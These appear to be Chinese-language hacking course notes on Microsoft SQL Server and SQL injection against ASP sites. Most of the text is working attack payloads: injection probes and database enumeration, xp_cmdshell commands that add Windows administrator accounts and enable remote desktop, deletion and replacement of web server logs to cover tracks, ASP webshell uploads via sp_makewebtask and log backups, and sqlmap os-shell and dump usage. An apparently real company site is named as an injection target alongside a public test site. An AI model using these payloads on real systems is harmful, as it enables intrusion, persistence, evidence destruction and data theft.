Mssql数据库调用分析
Mssql注入原理
Mssql注入另类玩法
Mssql介绍:
美国Microsoft公司推出的一种关系型数据库系统.SQLServer是一个可扩展的,高性能的,为分布式客户机/服务器计算所设计的数据库管理系统,实现了与WindowsNT的有机结合,提供了基于事务的企业级信息管理系统方案.
其主要特点如下:
(1)高性能设计,可充分利用WindowsNT的优势
(2)系统管理先进,支持Windows图形化管理工具,支持本地和远程的系统管理和配置.
(3)强壮的事务处理功能,采用各种方法保证数据的完整性
(4)支持对称多处理结构,存储过程,ODBC,并具有自主的SQL语言.SQLServer以其内置的数据复制功能,强大的管理工具,与Internet的紧密集成和开放的系统结构为广大的用户,开发人员和系统集成商提供了一个出众的数据库平台.
学校考试网站一般都是数据库为SQLServer,Oracle
MSsql服务,端口,后缀
重启服务,使其生效
命令:services.msc
TCP 0.0.0.0:1433 0.0.0.0:0 LISTENING
1433端口是开启的.当我们关闭服务后,端口也将关闭
后缀:
cracer.mdf
日志文件后缀
cracer_log.ldf
***********sopanpan(搜盘盘) www.sopanpan.com**********
创建表的同时,会创建日志
列 数据类型 允许空
id nchar
username nvarchar
password nvarchar
如何删除:
右击->任务->分离->删除连接,更新..,保留..
要先分离,才能脱裤(即复制库)(一个库,一个日志库)
数据库->右击->附加数据库,就添加了数据库
右击->任务->备份,但是备份的是.bak文件
右击->任务->生成脚本->选中数据库下一步->为服务器编写脚本,08到05使用时这个一定要选SQL Server 2005->下一步->选择对象,选中用户,表->下一步,勾选->下一步->勾选->下一步->将脚本保存到文件->下一步->完成.
使用方法:如果有已存在的表就先分离,然后再新建查询->将sql语句复制进去.
新建角色,以及获得权限
use cracer//使用哪个数据库
select * from admin
insert into admin (id,username,password) values (4,'dd','admin')
作业:
1.安装SQLServer数据库
2.操作数据库,背下常用的sql语句
mssql数据库权限:
sa权限:数据库操作,文件管理,命令执行,注册表读取等.
system
db权限:文件管理,数据库操作等users-adminstrators
public权限:数据库操作guest-users
调用数据库代码
<%
set conn=server.createobject("adodb.connection")
conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
%>
其中,provider后面的不用管,照写;source后面的可以是ip地址,这里我用的是本地的;sa是内置的用户,它的密码是在你安装的时候设置的;database后面是你要连接的数据库的名称.reg:mydatabase(不需扩展名).
inc/conn.asp
inc/config.asp
config.asp
web.config---这里一般存连接信息
注入语句:
1.判断是否有注入
and 1=1
and 1=2
/
-0
判断注入的方法是一样的
2.初步判断是否是mssql
and user>0
3.判断数据库系统
and (select count(*) from sysobjects)>0 mssql
and (select count(*) from msysobjects)>0 access
4.注入参数是字符
'and[查询条件]and''='
5.搜索时没过滤参数的
'and [查询条件] and '%25''='
6.猜数表名
and (select Count(*) from [表名] )>0
7.猜字段
and (select Count(字段名) from 表名)>0
8.猜字段中记录长度
and (select top 1 len(字段名) from 表名)>0
9.(1)猜字段的 ascii值(access)
and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
(2)猜字段的ascii值(mssql)
and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0
10.测试权限结构(mssql)
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
and 1=(select IS_MEMBER('db_owner'));--
11.添加mssql和系统的账户
exec master.dbo.sp_addlogin username;--
exec master.dbo.sp_password null,username,password;--
exec master.dbo.sp_addsrvrolemember sysadmin,username;--
exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
exec master.dbo.xp_cmdshell 'net user username password /add';--
exec master.dbo.xp_cmdshell 'net localgroup administrators username /add;--
判断注入:
http://testasp.vulnweb.com/showforum.asp?id=0
在加入'后 报错
id=@@version
或者是 and 1=(select @@version)
获取当前数据库名称
//当前使用的数据库
id=1 and 1=(select db_name())
获取用户数据库名称
//获取第一个用户数据库
and 1=(select top 1 name from master...sysdatabases where dbid>4)
and 1=(select top 1 name from master...sysdatabases where dbid>5)
and 1=(select top 1 name from master...sysdatabases where dbid>6)
//获取下一个用户数据库
and 1=(select top 1 name from master...sysdatabases where dbid>4 and name<> 'acublog')
//以此类推,可以获取全部用户数据库名
and 1=(select top 1 name from master...sysdatabases where dbid>4 and name<> 'acublog' and name<> '2014')
***数据库全部爆出来
and 1=(select name from master...sysdatabases where for xml path)
获取表名
//获取第一张表threads
?id=1 and 1=(select top 1 name from sysobjects where xtype='u')
?id=1 and 1=(select top 1 name from sysobjects where xtype='u' and name <>'admin')
?id=1 and 1=(select name from sysobjects for xml path)
获取表users的列名
//获取第一列列名uname
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='admin'))
//获取第二列列名
?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name='admin') and name<> 'id')
获取表users数据
//获取第一个用户名
?id=1 and 1=(select top 1 password from admin)
如果查到是空白,不是报错,说明不是该类型
过滤机制:
防注代码 ,可以用大小写转换过防注入
用%0a来代替空格
+来代替空格
测试站点:
http://testasp.vulnweb.com/showforum.asp?id=0
http://www.langesteel.com/onew11.asp?id=42574
Mssql数据库另类玩法:
mssql注入时用户权限分析
sa权限,dbo,public
基本信息搜集
注入点权限判断:
and 1=(select is_srvrolemember('sysadmin'))//判断是否有系统管理员
and 1=(select is_srvrolemember('db_owner'))//判断是否有库权限
and 1=(select is_srvrolemember('public'))//判断是否为public权限
and 1=convert(int,db_name())或1=(select db_name())//当前数据库名
and 1=(select @@servername)//本地服务名
and 1=(select HAS_DBACCESS('master'))//判断是否有库读取权限
****利用MsSQL扩展存储注入攻击
1.检测与恢复扩展存储
判断xp_cmdshell扩展存储是否存在
and 1=(select count(*) from master.dbo.sysobjects where xtype='x' AND name='xp_cmdshell')
判断xp_regread扩展存储过程是否存在
and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread')
恢复
EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
;exec sp_dropextendedproc xp_cmdshell,'xplog70.dll'
sa权限下扩展存储攻击利用方法:
1.利用xp_cmdshell扩展执行任意命令
查看C盘
;drop table black
;create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))-
;insert into black exec master..xp_cmdshell 'dir c:\'
and 1(select top 1 mulu from black where id=1)
新建用户
;exec master..xp_cmdshell 'net user test test /add'
这里如果报错的话:工具包->数据管理->sa开启...->第一段代码复制注入
;exec master..xp_cmdshell 'net localgroup administrators test /add'
cmd->mstsc(远程)
sa权限下扩展存储攻击利用方法:
添加和删除一个SA权限的用户test:(需要SA权限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin
停掉或激活某个服务.(需要SA权限)
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'
暴网站目录
create table labeng(lala nvarchar(255),id int)
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result);
and 1=(select top 1 lala from labeng)或者and 1=(select count(*) from labeng where lala>1)
删除日志记录:
;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log>c:\temp.txt'
替换日志记录:
;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log>c:\temp.txt'
开启远程数据库1:
;select * from OPENROWSET('SQLOLEDB','server=servername;uid=sa;pwd=apachy_123','select * from table1')
开启远程数据库2:
;select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;','select * from table')
打开3389
;exec master..xp_cmdshell 'sc config termservice start=auto'
;exec master..xp_cmdshell 'net start ter mservice'
;exec master..xp_cmdshell 'reg add"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f' //允许外部连接
;exec master..xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x50 /f' //改端口到80
利用sp_makewebtask写入一句话木马
;exec sp_makewebtask
'c:\inetpub\wwwroot\x.asp','select"%3C%25%65%76%61%6C%20%72%65%71%75%65%73%74%28%22%63%68%6F%70%70%65%72%22%29%25%3E"'--
http://mssql.sql.com/aspx.aspx?id=1%20;exec%20sp_makewebtask%20%20%27c:\inetpub\wwwroot\ms\x1.asp%27,%27select%27%27<%execute(request("cmd"))%>%27%27%27--
修改管理员密码
update admin set password=123123 where username='admin';
dbowner权限下的扩展攻击利用
1.判断数据库用户权限
and 1=(select is_member('db_owner'));--
2.搜索web目录
;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));-
然后
;insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1-
and(select dir from temp where id=1)>0
由于不能一次性获取所有目录文件和文件夹名,因此需要更改ID的值,依次列出文件和文件夹.
写入一句话木马
找到web目录后,就可以写入一句话木马了
;alter database ssdown5 set RECOVERY FULL
;create table test(str image)--
;backup log ssdown5 to disk='c:\test' with init--
;insert into test(str) values('<%excute(request("cmd"))%>')--
;backup log ssdown5 to disk='c:\inetpub\wwwroot\x.asp'--
;alter database ssdown5 set RECOVERY simple
测试站点
http://www.langesteel.com/onew11.asp?id=42574
工具:
穿山甲,萝卜头,sqlmap等
漏洞利用->pangolin
漏洞利用->GetWebShell
sqlmap->
注入点:
GET parameter 'id' is vulnerable. Do you angt to keep testing the others (if any)?[y/N]
it looks:like the back-end DBMS is "Microsoft SQL Server". Do you want to skip test payload: specific for other DBMSes?[Y/n]
-- current-user//查看当前用户
--dbs
SA搞法
--os-shell
--current -db
--tables -D cracer
--columns -T admin -D cracer
--dump -T admin -D cracer//列数据(全列出来)
--dump -C username,password -T admin -D cracer
--sql-shell
select * from admin
测试源码:v5shop